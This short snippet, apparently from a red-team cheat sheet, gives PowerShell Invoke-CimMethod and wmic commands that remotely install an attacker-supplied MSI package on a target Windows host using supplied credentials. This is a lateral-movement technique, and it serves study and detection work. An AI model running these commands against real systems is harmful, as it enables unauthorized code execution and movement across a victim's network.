Invoke-CimMethod -CimSession $SESSION_OBJECT `
                 -ClassName Win32_Product `
                 -MethodName Install `
                 -Arguments @{
                    PackageLocation = "$PATH_TO_ATTACKER_MSI";
                    Options = "";
                    AllUsers = $false
                  }

wmic equivalent

How to remotely install a Windows package with wmic

wmic.exe /user:$TARGET_USER `
         /password:$TARGET_PASSWORD `
         /node:$TARGET_HOST `
    product call install PackageLocation=$PATH_TO_ATTACKER_MSI
Link to original